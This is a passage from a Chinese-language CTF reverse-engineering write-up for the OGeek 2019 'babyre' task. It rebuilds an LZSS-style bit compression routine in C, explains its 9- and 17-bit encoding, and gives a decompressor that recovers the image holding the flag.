signed int number; // [rsp+30h] [rbp-10h]
char buf[0x1000];
char byte_202040[17];
int position; // [rsp+34h] [rbp-Ch]
int v12; // [rsp+38h] [rbp-8h]
int v13; // [rsp+38h] [rbp-8h]
memset(buf, 0, 0x1000uLL);
v8 = 1;
for (i = 0; i <= 16; ++i)
{
v12 = _IO_getc(in_fp);
if (v12 == -1)
break;
buf[i + 1] = v12;
}
v7 = i;
number = 0;
position = 0;
while (v7)
{
if (number > v7)
number = v7;
if (number > 1)
{
v9 = number;
push_one_bit(out, 0);
push_n_bits(out, position, 12);
push_n_bits(out, number - 2, 4);
}
else
{
v9 = 1;
push_one_bit(out, 1);
push_n_bits(out, buf[v8], 8);
}
for (j = 0; j < v9; ++j)
{
v13 = _IO_getc(in_fp);
if (v13 == -1)
--v7;
else
buf[((_WORD)v8 + 17 + (_WORD)j) & 0xFFF] = v13;
}
v8 = ((_WORD)v8 + (_WORD)v9) & 0xFFF;
if (v7)
{
for (k = 0; k <= 16; ++k)
byte_202040[k] = buf[((_WORD)v8 + (_WORD)k) & 0xFFF];
number = 0;
for (l = ((_WORD)v8 + 17) & 0xFFF; l != v8; l = ((_WORD)l + 1) & 0xFFF)
{
if (l)
{
for (m = 0; m <= 16 && buf[((_WORD)l + (_WORD)m) & 0xFFF] == byte_202040[m]; ++m)
;
if (m >= number)
{
number = m;
position = l;
}
}
}
}
}
push_one_bit(out, 0);
push_n_bits(out, 0LL, 12);
}
int main(int argc, char **argv)
{
FILE *in_fp;
out_container *out = malloc(sizeof(out_container));
if(argc < 3)
{
puts("Usage: ./compress in_file out_file");
exit(0);
}
in_fp = fopen(argv[1], "rb");
if(in_fp == NULL)
{
perror("fopen error!");
exit(-1);
}
out->out_fp = fopen(argv[2], "wb");
if(out->out_fp == NULL)
{
perror("fopen error!");
exit(-1);
}
setbuf(out->out_fp, NULL);
out->field_8 = 0;
*(unsigned char *)&(out->field_C) = -128;
out->amount = 0;
compress(in_fp, out);
fputc(0, out->out_fp);
fclose(in_fp);
fclose(out->out_fp);
free(out);
return 0;
}
通过下面测试,已经和原先的程序行为基本一致:
ex@Ex:~/ogeek2019/re/babyre$ ./compress in out
ex@Ex:~/ogeek2019/re/babyre$ ./babyre in out2
Weclcome to My Baby re.
######
# # ## ##### # # ##### ######
# # # # # # # # # # #
###### # # ##### # # # #####
# # ###### # # # ##### #
# # # # # # # # # #
###### # # ##### # # # ######
Yes ,succeed get new file! XD
ex@Ex:~/ogeek2019/re/babyre$ sha256sum out*
3d82edff890a2cf5e2dcb1759139ca4818a9f54d0ad94996aa6c63fa3a6f0eca out
3d82edff890a2cf5e2dcb1759139ca4818a9f54d0ad94996aa6c63fa3a6f0eca out2
分析代码可得,这是一个根据重复字符来压缩的算法,但是其长度和举例都是有限的,其长度是17,也就是byte_202040的长度,而最大距离则正好是buf的0x1000。
if (number > v7)
number = v7;
if (number > 1)
{
v9 = number;
push_one_bit(out, 0);
push_n_bits(out, position, 12);
push_n_bits(out, number - 2, 4);
}
else
{
v9 = 1;
push_one_bit(out, 1);
push_n_bits(out, buf[v8], 8);
}
buf为该压缩算法的缓冲区,大小为0x1000,其压缩的目的也主要取决于该缓冲区。
这是一个按位压缩的算法,从compress函数的上面代码可知,该协议分为标志位和携带内容,当标志为1时,其协议长度分为9 bit, 第一个bit为标志位,后面八个bit为一个字符。
当标志为0时,其协议长度分为17 bit, 第一个bit为标志位,然后12个bit为buf缓冲区的地址,然后4个bit为重复的次数,在解压的时候直接将其复制过来就行,这里主要是压缩重复的字节流。
只要知道压缩原理之后,只要按照其协议解压即可。下面是我写的解压程序:
// gcc -s -O3 uncompress.c -o uncompress
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void recover(char *out_str, unsigned int position, unsigned int num, size_t out, char *buf)
{
int i, p, o;
char ch;
p = position - 1;
o = out;
for (i = 0; i < num; i++)
{
if (((p - out) & 0xfff) >= 0 && ((p - out) & 0xfff) < 17)
{
p = position - 1;
buf[(o & 0xfff)] = buf[(p & 0xfff)];
out_str[o++] = buf[(p++ & 0xfff)]; // out_str[p++];
}
else
{
buf[(o & 0xfff)] = buf[(p & 0xfff)];
out_str[o++] = buf[(p++ & 0xfff)]; // out_str[p++];
}
}
}
int main(int argc, char **argv)
{
int bit, used;
register union{
int value;
char bytes[4];
}bits;
unsigned char ch, *in_str, *out_str, buf[0x1000];
unsigned int position, num;
FILE *in_fp, *out_fp;
size_t in = 0, all_in, out = 0;
if(argc < 3)
{
puts("Usage: ./uncompress in_file out_file");
exit(0);
}
in_fp = fopen(argv[1], "rb");
if(in_fp == NULL)
{
perror("fopen error!");
exit(-1);
}
out_fp = fopen(argv[2], "wb");
if(out_fp == NULL)
{
perror("fopen error!");
exit(-1);
}
setbuf(out_fp, NULL);
in_str = malloc(62914560);
out_str = malloc(62914560);
memset(buf, 0, 0x1000);
all_in = fread(in_str, 1, 62914560, in_fp);
bits.bytes[3] = in_str[in++];
bits.bytes[2] = in_str[in++];
bits.bytes[1] = in_str[in++];
bits.bytes[0] = in_str[in++];
used = 0;
while (in < all_in)
{
if(bits.value & 0x80000000)
{
bits.value <<= 1;
ch = bits.bytes[3];
bits.value <<= 8;
buf[out & 0xfff] = ch;
out_str[out++] = ch;
used += 9;
}
else
{
bits.value <<= 1;
position = (bits.value & 0xfff00000) >> 20;
bits.value <<= 12;
num = ((bits.value & 0xf0000000) >> 28) + 2;
bits.value <<= 4;
recover(out_str, position, num, out, buf);
out += num;
used += 17;
}
while(used / 8)
{
bits.value |= (in_str[in++] << (used - 8));
used -= 8;
}
}
fwrite(out_str, 1, out, out_fp);
fclose(out_fp);
fclose(in_fp);
free(in_str);
free(out_str);
return 0;
}
之后用该程序进行解压,可以获得一张图片,flag就在图片里。
ex@Ex:~/ogeek2019/re/babyre$ ./uncompress output.file result
ex@Ex:~/ogeek2019/re/babyre$ file result
result: PC bitmap, Windows 98/2000 and newer format, 1920 x 1080 x 32